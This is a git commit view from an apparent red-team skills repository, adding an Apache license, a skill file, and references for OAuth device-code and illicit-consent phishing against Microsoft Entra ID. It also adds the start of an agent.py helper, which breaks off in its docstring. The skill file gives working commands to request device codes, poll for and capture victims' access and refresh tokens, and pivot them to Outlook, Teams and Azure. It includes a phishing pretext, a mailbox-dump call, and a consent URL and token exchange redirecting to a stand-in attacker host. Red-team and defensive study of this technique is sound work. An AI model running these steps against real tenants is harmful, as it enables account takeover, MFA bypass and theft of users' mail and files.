mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-25 22:00:58 +03:00
Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,241 @@
|
||||
---
|
||||
name: attacking-oauth-with-device-code-phishing
|
||||
description: Run OAuth 2.0 device-code and illicit-consent phishing against Microsoft Entra ID to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services.
|
||||
domain: cybersecurity
|
||||
subdomain: identity-access-management
|
||||
tags:
|
||||
- device-code-phishing
|
||||
- oauth
|
||||
- entra-id
|
||||
- token-theft
|
||||
- mfa-bypass
|
||||
- illicit-consent
|
||||
- tokentactics
|
||||
- red-team
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.AA-03
|
||||
mitre_attack:
|
||||
- T1528
|
||||
---
|
||||
# Attacking OAuth with Device-Code Phishing
|
||||
|
||||
> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.
|
||||
|
||||
## Overview
|
||||
|
||||
The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the "device" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https://microsoft.com/devicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 – Steal Application Access Token**).
|
||||
|
||||
Microsoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** ("OAuth phishing"): the attacker registers a multi-tenant app and tricks the victim into clicking an `/adminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation/access mapping with ROADtools.
|
||||
|
||||
The defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.
|
||||
|
||||
## When to Use
|
||||
|
||||
- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 / Entra ID where social-engineering is in scope
|
||||
- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques
|
||||
- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent
|
||||
- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls
|
||||
- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization / rules of engagement explicitly permitting phishing and token theft against the target tenant
|
||||
- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)
|
||||
- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+
|
||||
- TokenTactics (PowerShell) and ROADtools (Python) installed:
|
||||
```bash
|
||||
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
|
||||
pip install roadtools roadtools_auth
|
||||
# roadtx (ROADtools Token eXchange) ships in roadtools_auth
|
||||
roadtx --help
|
||||
|
||||
# TokenTactics v2 (rvrsh3ll)
|
||||
git clone https://github.com/rvrsh3ll/TokenTactics.git
|
||||
pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"
|
||||
```
|
||||
- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes
|
||||
|
||||
## Objectives
|
||||
|
||||
- Initiate an OAuth device-code request against Entra ID using a first-party client ID
|
||||
- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page
|
||||
- Poll the token endpoint and capture the victim's access and refresh tokens
|
||||
- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access
|
||||
- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app
|
||||
- Enumerate accessible resources and data with ROADtools to demonstrate impact
|
||||
- Document MFA bypass and produce remediation recommendations
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
| ID | Technique | Application in this skill |
|
||||
|----|-----------|---------------------------|
|
||||
| T1528 | Steal Application Access Token | Phishing the device-code flow / consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |
|
||||
|
||||
Related techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).
|
||||
|
||||
## Workflow
|
||||
|
||||
### Phase 1: Initiate the Device-Code Request
|
||||
|
||||
The attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.
|
||||
|
||||
1. Request a device code directly via the token endpoint:
|
||||
```bash
|
||||
# client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token
|
||||
curl -s -X POST \
|
||||
'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
|
||||
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
|
||||
-d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json
|
||||
```
|
||||
2. The JSON response contains the fields you weaponize:
|
||||
```json
|
||||
{
|
||||
"user_code": "B7HVQXKZ2",
|
||||
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
|
||||
"verification_uri": "https://microsoft.com/devicelogin",
|
||||
"expires_in": 900,
|
||||
"interval": 5,
|
||||
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
|
||||
}
|
||||
```
|
||||
3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.
|
||||
|
||||
Equivalent using TokenTactics (handles polling automatically):
|
||||
```powershell
|
||||
Import-Module ./TokenTactics/TokenTactics.psd1
|
||||
# Generates a device code and begins polling; prints the user_code to phish
|
||||
Get-AzureToken -Client MSGraph
|
||||
```
|
||||
|
||||
### Phase 2: Deliver the Pretext
|
||||
|
||||
The phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.
|
||||
|
||||
1. Craft a pretext that references the genuine `https://microsoft.com/devicelogin` URL and the `user_code` (e.g., "IT is enrolling your account in the new Teams Rooms device; open microsoft.com/devicelogin and enter code B7HVQXKZ2 within 15 minutes").
|
||||
2. Send through sanctioned phishing infrastructure. Hyperlinked codes/URLs frequently land in spam, so present the URL and code as plain text.
|
||||
3. Time delivery to the start of a polling cycle so the code is fresh.
|
||||
|
||||
### Phase 3: Poll and Capture Tokens
|
||||
|
||||
While the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.
|
||||
|
||||
1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:
|
||||
```bash
|
||||
DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
|
||||
while true; do
|
||||
RESP=$(curl -s -X POST \
|
||||
'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
|
||||
-d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
|
||||
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
|
||||
-d "device_code=${DEVICE_CODE}")
|
||||
echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
|
||||
echo "$RESP" | grep -q authorization_pending || echo "$RESP"
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.
|
||||
3. Decode the access token to confirm the captured identity, audience, and scopes:
|
||||
```bash
|
||||
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
|
||||
```
|
||||
|
||||
### Phase 4: Refresh Across Microsoft 365 Resources
|
||||
|
||||
The refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.
|
||||
|
||||
1. Use TokenTactics refresh functions to pivot the refresh token to specific services:
|
||||
```powershell
|
||||
# $response holds the device-code result from Get-AzureToken
|
||||
$rt = $response.refresh_token
|
||||
Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # mailbox access
|
||||
Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph
|
||||
Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams
|
||||
Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
|
||||
Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt
|
||||
```
|
||||
2. Equivalently with roadtx, redeem the refresh token for a new resource:
|
||||
```bash
|
||||
roadtx refreshtokento \
|
||||
-r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
|
||||
-c d3590ed6-52b3-4102-aeff-aad2292ab01c \
|
||||
-s https://graph.microsoft.com/.default
|
||||
```
|
||||
3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):
|
||||
```powershell
|
||||
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
|
||||
```
|
||||
|
||||
### Phase 5: Illicit Consent Grant Variant
|
||||
|
||||
Instead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.
|
||||
|
||||
1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.
|
||||
2. Build a user-consent URL and phish it:
|
||||
```text
|
||||
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
|
||||
client_id=<ATTACKER_APP_ID>
|
||||
&response_type=code
|
||||
&redirect_uri=https://attacker.example/callback
|
||||
&response_mode=query
|
||||
&scope=offline_access%20Mail.Read%20Files.ReadWrite.All
|
||||
&state=12345
|
||||
```
|
||||
3. When the victim consents, exchange the returned `code` for tokens:
|
||||
```bash
|
||||
curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
|
||||
-d 'client_id=<ATTACKER_APP_ID>' \
|
||||
-d 'grant_type=authorization_code' \
|
||||
-d 'code=<AUTH_CODE>' \
|
||||
-d 'redirect_uri=https://attacker.example/callback' \
|
||||
-d 'client_secret=<APP_SECRET>' \
|
||||
-d 'scope=offline_access Mail.Read Files.ReadWrite.All'
|
||||
```
|
||||
4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).
|
||||
|
||||
### Phase 6: Enumerate Impact with ROADtools
|
||||
|
||||
1. Authenticate roadrecon with the captured token / refresh token and dump the directory:
|
||||
```bash
|
||||
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
|
||||
-c d3590ed6-52b3-4102-aeff-aad2292ab01c
|
||||
roadrecon gather
|
||||
roadrecon gui # browse users, groups, app registrations, role assignments
|
||||
```
|
||||
2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.
|
||||
3. Record exactly what data and roles the stolen tokens reached for the engagement report.
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Source |
|
||||
|------|---------|--------|
|
||||
| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https://github.com/rvrsh3ll/TokenTactics |
|
||||
| ROADtools (roadrecon / roadtx) | Token exchange, directory enumeration, access mapping | https://github.com/dirkjanm/ROADtools |
|
||||
| AADInternals | Entra ID attack/recon PowerShell toolkit | https://github.com/Gerenios/AADInternals |
|
||||
| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https://datatracker.ietf.org/doc/html/rfc8628 |
|
||||
| Microsoft / Storm-2372 advisory | Device-code phishing campaign analysis | https://www.microsoft.com/en-us/security/blog/ |
|
||||
| Mandiant M-Trends | OAuth token theft trend reporting | https://cloud.google.com/security/resources/m-trends |
|
||||
|
||||
## Defensive Recommendations
|
||||
|
||||
| Control | Effect |
|
||||
|---------|--------|
|
||||
| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |
|
||||
| Phishing-resistant MFA (FIDO2 / passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |
|
||||
| Restrict user consent to verified publishers / require admin consent | Blocks illicit-consent grants |
|
||||
| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |
|
||||
| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] Device-code request returned a valid `user_code` and `device_code`
|
||||
- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)
|
||||
- [ ] Token endpoint polled and `access_token` + `refresh_token` captured
|
||||
- [ ] Access token decoded to confirm captured identity, audience, and scopes
|
||||
- [ ] Refresh token successfully exchanged for at least one additional M365 resource
|
||||
- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)
|
||||
- [ ] Illicit-consent variant tested or documented as out of scope
|
||||
- [ ] Accessible resources enumerated with ROADtools and recorded
|
||||
- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered
|
||||
@@ -0,0 +1,55 @@
|
||||
# API & Tool Reference — Device-Code / Consent Phishing
|
||||
|
||||
## Entra ID OAuth 2.0 endpoints
|
||||
|
||||
| Endpoint | Method | Purpose |
|
||||
|----------|--------|---------|
|
||||
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode` | POST | Request `user_code` + `device_code`. `tenant` = `organizations`, `common`, or a tenant ID. |
|
||||
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token` | POST | Poll for tokens (`grant_type=urn:ietf:params:oauth:grant-type:device_code`) or redeem `authorization_code` / `refresh_token`. |
|
||||
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize` | GET | Consent / authorization-code request (illicit consent variant). |
|
||||
| `https://microsoft.com/devicelogin` | GET | Genuine Microsoft page where the victim enters the `user_code`. |
|
||||
|
||||
### Device-code request parameters
|
||||
| Parameter | Example | Notes |
|
||||
|-----------|---------|-------|
|
||||
| `client_id` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | Microsoft Office (first-party, broad pre-auth). |
|
||||
| `scope` | `https://graph.microsoft.com/.default offline_access` | `offline_access` yields a long-lived refresh token. |
|
||||
|
||||
### Token-poll parameters
|
||||
| Parameter | Value |
|
||||
|-----------|-------|
|
||||
| `grant_type` | `urn:ietf:params:oauth:grant-type:device_code` |
|
||||
| `client_id` | same as request |
|
||||
| `device_code` | from device-code response |
|
||||
|
||||
Poll responses: `authorization_pending`, `slow_down`, `expired_token`, `authorization_declined`, or success (`access_token`, `refresh_token`, `id_token`).
|
||||
|
||||
## Common first-party client IDs
|
||||
| Client | Client ID |
|
||||
|--------|-----------|
|
||||
| Microsoft Office | `d3590ed6-52b3-4102-aeff-aad2292ab01c` |
|
||||
| Microsoft Azure CLI | `04b07795-8ddb-461a-bbee-02f9e1bf7b46` |
|
||||
| Microsoft Azure PowerShell | `1950a258-227b-4e31-a9cf-717495945fc2` |
|
||||
| Microsoft Teams | `1fec8e78-bce4-4aaf-ab1b-5451cc387264` |
|
||||
|
||||
## TokenTactics (PowerShell) functions
|
||||
| Function | Key parameters | Purpose |
|
||||
|----------|---------------|---------|
|
||||
| `Get-AzureToken` | `-Client` (MSGraph, DODMSGraph) | Generate device code, poll, return tokens. |
|
||||
| `Invoke-RefreshToMSGraphToken` | `-domain -refreshToken [-ClientId]` | Refresh to Microsoft Graph. |
|
||||
| `Invoke-RefreshToOutlookToken` | `-domain -refreshToken` | Refresh to Outlook/EXO. |
|
||||
| `Invoke-RefreshToMSTeamsToken` | `-domain -refreshToken` | Refresh to Teams. |
|
||||
| `Invoke-RefreshToAzureCoreManagementToken` | `-domain -refreshToken` | Refresh to Azure ARM. |
|
||||
| `Invoke-RefreshToSubstrateToken` | `-domain -refreshToken` | Refresh to Substrate. |
|
||||
| `Invoke-DumpOWAMailboxViaMSGraphApi` | `-AccessToken -mailFolder` | Read mailbox via Graph. |
|
||||
| `Invoke-ParseJWTtoken` | `-Token` | Decode a JWT. |
|
||||
|
||||
## ROADtools
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `roadtx refreshtokento -r <rt> -c <client_id> -s <scope>` | Exchange refresh token for new resource. |
|
||||
| `roadrecon auth --refresh-token <rt> -c <client_id>` | Authenticate roadrecon. |
|
||||
| `roadrecon gather` | Dump directory to local DB. |
|
||||
| `roadrecon gui` | Browse enumerated tenant data. |
|
||||
|
||||
Source: https://github.com/rvrsh3ll/TokenTactics , https://github.com/dirkjanm/ROADtools , RFC 8628.
|
||||
@@ -0,0 +1,26 @@
|
||||
# Standards Mapping
|
||||
|
||||
## MITRE ATT&CK
|
||||
|
||||
| ID | Name | Tactic | Rationale |
|
||||
|----|------|--------|-----------|
|
||||
| T1528 | Steal Application Access Token | Credential Access | Device-code and illicit-consent phishing cause Entra ID to mint OAuth access/refresh tokens to the attacker; the stolen bearer tokens are then reused to access cloud services without re-authenticating. |
|
||||
|
||||
### Related techniques chained in this workflow
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| T1566 | Phishing | Delivery vector for the device-code message or consent URL. |
|
||||
| T1550.001 | Use Alternate Authentication Material: Application Access Token | Replaying the stolen OAuth tokens against M365 resources. |
|
||||
| T1098.003 | Account Manipulation: Additional Cloud Roles | Illicit-consent grants persist as a service-principal OAuth grant surviving password resets. |
|
||||
|
||||
## NIST Cybersecurity Framework 2.0
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| PR.AA-03 | Users, services, and hardware are authenticated | The attack defeats authentication assurance by abusing the OAuth device-code grant to bypass MFA; the control objective being tested is robust, phishing-resistant authentication. |
|
||||
|
||||
## References
|
||||
- RFC 8628 — OAuth 2.0 Device Authorization Grant: https://datatracker.ietf.org/doc/html/rfc8628
|
||||
- MITRE ATT&CK T1528: https://attack.mitre.org/techniques/T1528/
|
||||
- NIST CSF 2.0: https://www.nist.gov/cyberframework
|
||||
- Mandiant M-Trends: https://cloud.google.com/security/resources/m-trends
|
||||
@@ -0,0 +1,162 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
agent.py - OAuth 2.0 device-code phishing helper for authorized Entra ID red teaming.
|
||||
|
||||
Implements the real Microsoft Entra ID device authorization grant (RFC 8628):
|
||||
1. POST /devicecode -> obtain user_code + device_code
|
||||
2. Display the pretext text the operator delivers to the (consenting/lab) victim
|
||||
3. Poll /token with grant_type=urn:ietf:params:oauth:grant-type:device_code
|
||||
4. Optionally redeem the captured refresh_token against another first-party resource
|
||||
|
||||
